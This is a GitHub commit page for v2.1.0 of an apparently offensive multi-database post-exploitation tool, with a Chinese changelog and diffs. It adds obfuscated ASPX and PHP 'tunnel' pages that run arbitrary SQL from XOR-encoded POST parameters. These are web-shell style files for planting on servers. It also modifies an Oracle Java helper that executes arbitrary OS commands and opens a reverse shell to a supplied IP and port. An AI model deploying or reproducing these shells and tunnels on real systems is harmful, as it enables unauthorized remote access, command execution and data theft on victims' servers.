Skip to content

Commit

Permalink
Merge pull request #43 from SafeGroceryStore/dev
Browse files Browse the repository at this point in the history
v2.1.0
  • Loading branch information
Ch1ngg authored May 24, 2022
2 parents 9cd2899 + 9e430b0 commit 802b6c0
Show file tree
Hide file tree
Showing 50 changed files with 5,887 additions and 1,111 deletions.
19 changes: 19 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,25 @@
# 更新日志
> 有空会补补BUG、添添新功能。
## 2022/05/24 - `v2.1.0`
### 核心
* 增加 HTTP 隧道功能(Redis暂不支持)
* 优化逻辑代码
* 加长默认超时时间

### Mssql
* 修复下载文件 Bug
* 删除获取管理员密码功能
* 增加一键恢复所有组件功能
* 修正 CLR Hex String

### Oracle
* 更改 JAVA Util 导入方式
* 优化 JAVA ShellUtil 代码

### Redis
* 添加 slave-read-only 功能 (Thx @xslzlccc)

## 2021/12/01 - `v2.0.8`
### 核心
* 修复 Mssql 连接 2000 时候的语句兼容性问题
Expand Down
862 changes: 661 additions & 201 deletions LICENSE

Large diffs are not rendered by default.

11 changes: 10 additions & 1 deletion MDAT-DEV/MDUT-Dev.iml
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
<orderEntry type="library" name="Maven: org.xerial:sqlite-jdbc:3.34.0" level="project" />
<orderEntry type="library" name="Maven: org.json:json:20201115" level="project" />
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.28" level="project" />
<orderEntry type="library" name="Maven: org.projectlombok:lombok:1.18.20" level="project" />
<orderEntry type="library" name="Maven: org.projectlombok:lombok:1.18.22" level="project" />
<orderEntry type="library" name="Maven: org.pegdown:pegdown:1.6.0" level="project" />
<orderEntry type="library" name="Maven: org.parboiled:parboiled-java:1.1.7" level="project" />
<orderEntry type="library" name="Maven: org.parboiled:parboiled-core:1.1.7" level="project" />
Expand All @@ -27,5 +27,14 @@
<orderEntry type="library" name="Maven: commons-lang:commons-lang:2.6" level="project" />
<orderEntry type="library" name="Maven: com.oracle.ojdbc:orai18n:19.3.0.0" level="project" />
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.76" level="project" />
<orderEntry type="library" name="Maven: com.ejlchina:okhttps:3.3.0" level="project" />
<orderEntry type="library" name="Maven: com.ejlchina:data-core:1.1.1" level="project" />
<orderEntry type="library" name="Maven: com.squareup.okhttp3:okhttp:3.14.9" level="project" />
<orderEntry type="library" name="Maven: com.squareup.okio:okio:1.17.5" level="project" />
<orderEntry type="library" name="Maven: commons-codec:commons-codec:1.8" level="project" />
<orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.9.6" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.9.0" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.9.6" level="project" />
</component>
</module>
20 changes: 20 additions & 0 deletions MDAT-DEV/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,26 @@
<artifactId>fastjson</artifactId>
<version>1.2.76</version>
</dependency>


<dependency>
<groupId>com.ejlchina</groupId>
<artifactId>okhttps</artifactId>
<version>3.3.0</version>
</dependency>

<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.8</version>
</dependency>

<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>0.9.1</version>
</dependency>

</dependencies>

<properties>
Expand Down
Binary file modified MDAT-DEV/src/main/Driver/mssql.jar
Binary file not shown.
2 changes: 1 addition & 1 deletion MDAT-DEV/src/main/Plugins/Mssql/clr.txt

Large diffs are not rendered by default.

10 changes: 4 additions & 6 deletions FileUtil.java → ...DEV/src/main/Plugins/Oracle/FileUtil.java
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,7 @@ public static String listfile(String dirPath, String encoding){
s += sF;
r = new String(s.getBytes(fileCode), encoding);
}catch (Exception e){
r = "ERROR://" + e.toString();
}
return r;
}
Expand All @@ -80,6 +81,7 @@ public static String getPath() {
try {
result = directory.getAbsolutePath();
} catch (Exception e) {
result = "ERROR://" + e.toString();
}
return result;
}
Expand All @@ -94,7 +96,7 @@ public static String readFile(String filePath){
sb.append(hex);
}
} catch (Exception e) {
sb.append(e.toString());
sb.append("ERROR://" + e.toString());
}
//System.out.println(sb.toString());
return sb.toString();
Expand All @@ -113,7 +115,7 @@ public static String writeFile(String filePath, String fileContext){
}
os.close();
} catch (Exception e) {

r = "ERROR://" + e.toString();
}
return r;
}
Expand All @@ -133,8 +135,4 @@ public static String deleteFile(String path) {
return sb.toString();
}

public static void main(String[] args) {
System.out.println(listfile("/",""));
}

}
59 changes: 52 additions & 7 deletions ShellUtil.java → ...EV/src/main/Plugins/Oracle/ShellUtil.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
Expand All @@ -10,8 +11,7 @@ public static String run(String methodName, String params, String encoding) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}
else {
}else {
res = "unkown methodName";
}
return res;
Expand All @@ -20,10 +20,53 @@ public static String run(String methodName, String params, String encoding) {
public static String exec(String command, String encoding) {
StringBuffer result = new StringBuffer();
try {
BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(command).getInputStream(), encoding));
String stemp = "";
while ((stemp = myReader.readLine()) != null) result.append(stemp + "\n");
myReader.close();
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
String systemRootvariable;
try {
systemRootvariable = System.getenv("SystemRoot");
}
catch (ClassCastException e) {
systemRootvariable = System.getProperty("SystemRoot");
}
finalCommand = new String[3];
finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
finalCommand[1] = "/c";
finalCommand[2] = command;
} else { // Linux or Unix System
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
BufferedReader readerIn = null;
BufferedReader readerError = null;
try {
readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
String stemp = "";
while ((stemp = readerIn.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerIn != null) {
readerIn.close();
}
}
try {
readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
String stemp = "";
while ((stemp = readerError.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerError != null) {
readerError.close();
}
}
} catch (Exception e) {
result.append(e.toString());
}
Expand All @@ -46,7 +89,7 @@ public void run() {
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[8192];
char buffer[] = new char[1024];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
Expand Down Expand Up @@ -79,4 +122,6 @@ public void run() {
}
return "^OK^";
}


}
66 changes: 66 additions & 0 deletions MDAT-DEV/src/main/Plugins/Template/mssql_tunnel.aspx
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
<%@ Page Language="Jscript"%>
<%
function base64_xor_encrypt(str,key)
{
var b64byte = System.Text.Encoding.GetEncoding("UTF-8").GetBytes(str);
var res = new byte[b64byte.length];
for (var c = 0; c < res.length; c++)
{
res[c] = (byte)(b64byte[c] ^ key[c % key.length]);
}
return System.Convert.ToBase64String(res);
}
function base64_xor_decrypt(str,key)
{
var fristBase64_Byte = System.Convert.FromBase64String(str);
var temp = new byte[fristBase64_Byte.length];
for (var c = 0; c < temp.length; c++)
{
temp[c] = (byte)(fristBase64_Byte[c] ^ key[c % key.length]);
}
var secondBase64Sting = Encoding.Default.GetString(temp);
return secondBase64Sting;
}
try{
var key = "{KeyString}";
var args = Request.Item[key];
if(args == null){
return;
}
var argArr = base64_xor_decrypt(args,key).Split("|");
var hst = argArr[0];
var usr = argArr[1];
var pwd = argArr[2];
var dbn = argArr[3];
var sql = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(argArr[4]));
var hp = hst.Split(":");
var DriverUrl = "Driver={Sql Server};Server=" + hp[0] + "," + hp[1] + ";Database=" + dbn + ";Uid=" + usr + ";Pwd=" + pwd;
var Conn = new ActiveXObject("Adodb.connection");
Conn.ConnectionString = DriverUrl;
Conn.ConnectionTimeout = argArr[5];
Conn.Open();
var Dat:String = "";
var Rs = Conn.Execute(sql);
var i:Int32 = Rs.Fields.Count,c:Int32;
if (Rs.state != 0){
while(!Rs.EOF && !Rs.BOF){
for(c = 0;c<i;c++){
if(Rs.Fields(c).Value == null){
continue;
}
Dat += Rs.Fields(c).Value + "\t|\t";
}
Dat += "\r\n";
Rs.MoveNext();
}
Response.Write(base64_xor_encrypt(Dat,key));
} else {
Response.Write(base64_xor_encrypt("Status | True",key));
}
Conn.Close();
}catch(e){
Response.Write(base64_xor_encrypt("ERROR://" + e.message,key));
}
%>
69 changes: 69 additions & 0 deletions MDAT-DEV/src/main/Plugins/Template/mysql_tunnel.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$key = "{KeyString}";

function output($key) {
$output = ob_get_contents();
ob_end_clean();
echo @base64_xor_encrypt($output,$key);
}
function base64_xor_encrypt($str,$key){
$num = 0;
$post = $str;
for($i=0;$i<strlen($post);$i++) {
if($num >= strlen($key)) $num = $num % strlen($key);
$post[$i] = $post[$i]^$key[$num];
$num += 1;
}
return base64_encode($post);
}

function base64_xor_derypt($str,$key){
$num = 0;
$post = base64_decode($str);
for($i=0;$i<strlen($post);$i++) {
if($num >= strlen($key)) $num = $num % strlen($key);
$post[$i] = $post[$i]^$key[$num];
$num += 1;
}
return $post;
}

ob_start();
try {
if(!empty($_POST[$key])){
$m = get_magic_quotes_gpc();
$args = $m ? stripslashes(base64_xor_derypt($_POST[$key]),$key) : base64_xor_derypt($_POST[$key],$key);
$arg = explode("|",$args);
$hst = $arg[0];
$usr = $arg[1];
$pwd = $arg[2];
$dbn = $arg[3];
$sql = base64_decode($arg[4]);
$T = @mysqli_connect($hst, $usr, $pwd);
if (!$T) {
echo ("ERROR://" . mysqli_connect_error());
}
@mysqli_select_db($T,$dbn);
$q = @mysqli_query($T,$sql);
if (is_bool($q)) {
echo ($q ? "Status | True" : "ERROR://" . mysqli_error($T));
} else {
$i = 0;
while ($col = @mysqli_fetch_field($q)) {
$i++;
}
while ($rs = @mysqli_fetch_row($q)) {
for ($c = 0;$c < $i;$c++) {
echo (trim($rs[$c]));
}
}
}
@mysqli_close($T);
}
}catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
}
output($key);
die();
Loading

0 comments on commit 802b6c0

Please sign in to comment.